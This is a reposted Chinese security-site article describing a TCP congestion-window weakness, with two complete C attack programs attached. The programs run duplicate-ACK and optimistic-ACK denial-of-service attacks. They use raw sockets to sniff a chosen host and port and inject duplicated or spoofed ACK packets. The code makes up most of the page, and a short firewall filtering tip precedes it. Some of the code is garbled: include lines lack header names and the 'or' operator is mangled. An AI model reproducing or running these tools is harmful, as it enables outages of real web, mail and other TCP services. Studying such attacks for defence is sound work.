收藏本站 收藏本站
积木网首页 - 软件测试 - 常用手册 - 站长工具 - 技术社区
积木学院 > 黑客技术 > 病毒漏洞 > 正文

TCP协议堵塞窗口算法缺陷

来源:互联摘选 日期:2008-12-01 02:29
涉及程序:
TCP协议

描述:
TCP协议设计存在严重缺陷允许对任何TCP服务进行拒绝服务攻击

详细:
TCP 协议层次关于 堵塞窗口 的算法 存在容易受攻击的漏洞
这种攻击是基于协议层次的,因此任何实现tcp 的系统都会受到影响。

危害性:

通过制造堵塞,能够使受攻击的主机不能与任何指定的主机进行正常的tcp 层次的数据传输。这类攻击的后果将是使所有的TCP服务(包括web、mail、FTP等)都会产生拒绝服务。

攻击的方法有两到三种,没有任何补丁可以用来防止这种攻击,除非在_blank">防火墙设置防范 或者更改TCP协议头部的结构.


理论基础: 什么是ACK_SEQ

ACK_SEQ 标志数据包被正确的接受了。

ACK_SEQ 是接受数据包的SEQ 和 接受的数据包的净荷长度.

由于push 标志位的存在可以任意指定seq 大小.

--- 攻击原理 ---

1,重复发送 数据包,任何ip 数据包都有可能被重复的发送到同一个接受端。
通过构造重复的tcp 数据包,每个数据包拥有不同的ACK ,能够造成数据窗口堵塞.

2) 预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送返回ACK 数据包。从而造成堵塞。



解决方案:
在_blank">防火墙端进行设置,对非紧急数据类型的数据比如TELNET 以外的普通TCP 连接,检查是否存在push 标志。进行过滤。


攻击方法:
1,重复发送 数据包,任何ip 数据包都有可能被重复的发送到同一个接受端
通过构造重复的tcp 数据包,每个数据包拥有不同的ACK ,能够造成数据窗口堵塞.
攻击代码
############################

#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

extern int errno;
static struct sockaddr_in sin;
static int ss;

void send_dupack(void *, unsigned char);

#define MAS 128 /* Max Ack Size */
/*
#define BOLD \"\\033[1;1m\"
#define N \"\\033[0m\"
*/
int main(int argc, char **argv)
{
struct ifreq ifr; /* interface query struct */
int sfd, nt, nd, off, hdr =1; /* socket, number time to apply dup,
* number of dup, datalink offset */
unsigned int daddr; /* dest addr to check */
unsigned short port; /* dest port to check */

printf( \" ldaa - \"
/*BOLD*/ \"lamer dup ack attacker\" /*N*/
\" - by vecna@s0ftpj.org\\n\");

if(argc != 6)
{
fprintf(stderr,
\" usage: %s host port iface n.dup n.times\\n\" \\
\" %s:\\tis ldaa this program ...\\n\" \\
\" host:\\t\\thost to attack, only IP \" \\
\"addess accepted, not implemented resolv\\n\" \\
\" port:\\t\\tdestination port to attack\\n\" \\
\" iface:\\t\\tinterface used for reach host\\n\" \\
\" n.dup:\\t\\tnumber of ack duplication\\n\" \\
\" times:\\t\\tnumber of time to apply duplication\\n\",
argv[0], argv[0]
);
err(EINVAL, \"no such argument\");
}

memset(&ifr, 0, sizeof(struct ifreq));

nt =atoi(argv[5]);
nd =atoi(argv[4]);
daddr =inet_addr(argv[1]);
port =htons(atoi(argv[2]));

sin.sin_port =port;
sin.sin_addr.s_addr =daddr;
sin.sin_family =AF_INET;

if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1)
err(errno, \"socket on datalink layer\");

if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1)
err(errno, \"socket on raw sock layer\");

if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1)
err(errno, \"setsockopt IP_HDRINCL\");

strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name));

if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1)
err(errno, \"ioctl SIOCGIFHWADDR of %s\", argv[3]);

switch(ifr.ifr_hwaddr.sa_family)
{
case ARPHRD_ETHER:
case ARPHRD_METRICOM:
case ARPHRD_EETHER:
off =14;
break;
case ARPHRD_PPP:
off =0;
break;
case ARPHRD_LOOPBACK:
off =4;
break;
default:
err(ENODEV, \"unknow linktype for device %s\", argv[3]);
}

while(nt)
{
char packet[MAS];
static unsigned int ack_seq;
struct iphdr *ip;
struct tcphdr *tcp;
int nbyte;

if((nbyte =read(sfd, &packet, MAS)) ==-1)
err(errno, \"read on datalink layer\");

(char *)ip =(char *)&packet +off;

if(ip->protocol != IPPROTO_TCP ││ ip->daddr !=daddr)
continue;

(char *)tcp =(char *)ip +sizeof(struct iphdr);

if(tcp->dest !=port)
continue;

// if(tcp->ack && !tcp->syn && !tcp->rst && tcp->ack_seq !=ack_seq)
if(1) {
int cnt;

printf(\" dup seq %u ack %u\\n\", tcp->seq, tcp->ack_seq);
for(cnt =0; cnt !=nd; cnt++)
{
printf(\" cnt %d nd %d nt %d\\n\", cnt, nd, nt);
send_dupack((void *)ip, ntohs(ip->tot_len));
}

nt--;
ack_seq =tcp->ack_seq;
}
}

exit(EXIT_SUCCESS);
}

void send_dupack(void *pkt, unsigned char len)
{
if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1)
err(errno, \"error on sending ack packet\");
}


#############################

2) 预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送返回ACK 数据包。从而造成堵塞.

攻击代码
##########

#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

extern int errno;

static struct sockaddr_in sin;
static unsigned int l_ack;
static int ss, ns;

unsigned short sum(unsigned short *, int);
void ssoa(void *, struct tcphdr *, size_t, int);

#define MAS 128 /* Max Ack Size */

int main(int argc, char **argv)
{
struct ifreq ifr; /* interface query struct */
int sfd, off, wa, hdr =1; /* socket, number time to apply dup,
* number of dup, datalink offset */
unsigned int daddr; /* dest addr to check */
unsigned short port; /* dest port to check */

printf(\" optimistic acking attacker - by vecna@s0ftpj.org\\n\\n\");

if(argc != 6)
{
fprintf(stderr,
\" usage: %s host port iface n.spoof n.wait\\n\" \\
\" host:\\thost to attack, only IP\" \\
\" address accepted, not implemented resolv\\n\" \\
\" port:\\tdestination port to attack\\n\" \\
\" iface:\\tinterface used for reach host\\n\" \\
\" n.add:\\tnumber of ack to spoof\\n\" \\
\" w.ack:\\tnumber of ack to ignore before\" \\
\" guess size\\n\", argv[0]);
err(EINVAL, \"no such argument\");
}

memset(&ifr, 0, sizeof(struct ifreq));

daddr =inet_addr(argv[1]);
port =htons(atoi(argv[2]));
ns =atoi(argv[4]);
wa =atoi(argv[5]);

sin.sin_port =port;
sin.sin_addr.s_addr =daddr;
sin.sin_family =AF_INET;

if((sfd =socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) ==-1)
err(errno, \"socket on datalink layer\");

if((ss =socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ==-1)
err(errno, \"socket on raw sock layer\");

if(setsockopt(ss, IPPROTO_IP, IP_HDRINCL, &hdr, sizeof(hdr)) ==-1)
err(errno, \"setsockopt IP_HDRINCL\");

strncpy(ifr.ifr_name, argv[3], sizeof(ifr.ifr_name));

if(ioctl(sfd, SIOCGIFHWADDR, &ifr) == -1)
err(errno, \"ioctl SIOCGIFHWADDR of %s\", argv[3]);

switch(ifr.ifr_hwaddr.sa_family)
{
case ARPHRD_ETHER:
case ARPHRD_METRICOM:
case ARPHRD_EETHER:
off =14;
break;
case ARPHRD_PPP:
off =0;
break;
case ARPHRD_LOOPBACK:
off =4;
break;
default:
err(ENODEV, \"unknow linktype for device %s\", argv[3]);
}

printf(\" reading packet len...\\n\");

while(1)
{
char packet[MAS];
struct iphdr *ip;
struct tcphdr *tcp;
static int inc, i;
int nbyte;

if((nbyte =read(sfd, &packet, MAS)) ==-1)
err(errno, \"read on datalink layer\");

(char *)ip =(char *)&packet +off;

if(ip->protocol !=IPPROTO_TCP ││ ip->daddr !=daddr)
continue;

(char *)tcp =(char *)ip +sizeof(struct iphdr);

if(tcp->dest !=port)
continue;

if(tcp->ack && !tcp->syn && !tcp->rst)
{
int chk =ntohl(tcp->ack_seq) -ntohl(l_ack);

if(!l_ack)
{
l_ack =tcp->ack_seq;
continue;
}

if(!chk)
continue;

printf(\" %u\", chk);

if(chk ==inc)
{
if(++i ==wa)
ssoa(ip, tcp, ntohs(ip->tot_len), inc);
}
else
{
printf(\"\\n %d packet\'s size check after %d \"
\"reset for %d byte\\n\" ,inc, i +1, chk);
inc =chk;
i =0x0000;
}

l_ack =tcp->ack_seq;
}
}
}

void ssoa(void *pkt, struct tcphdr *x, size_t len, int size)
{
int k =0x0000;

printf(\"\\n guessed packets len [%d]\\n sending ACKs: \", size);

while(k != ns)
{
x->ack_seq +=htonl(size* ++k);
x->check =sum((unsigned short *)x, sizeof(struct tcphdr));

printf(\".\");

if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1)
err(errno, \"error on sending ack packet\");
}

printf(\" done.\\n\");
exit(EXIT_SUCCESS);
}

unsigned short sum(unsigned short *hdr, int nw)
{
unsigned long ret =0x0000;

while(nw > 0)
{
ret += *hdr++;
nw -= 2;
}

ret = (ret >> 16) + (ret & 0xffff);
ret += (ret >> 16);

return ~(ret);
}

推荐阅读

 

热点信息

 
强悍的草根IT技术社区,这里应该有您想要的!
Copyright © 2010 Gimoo.Net. All Rights Rreserved  京ICP备05050695号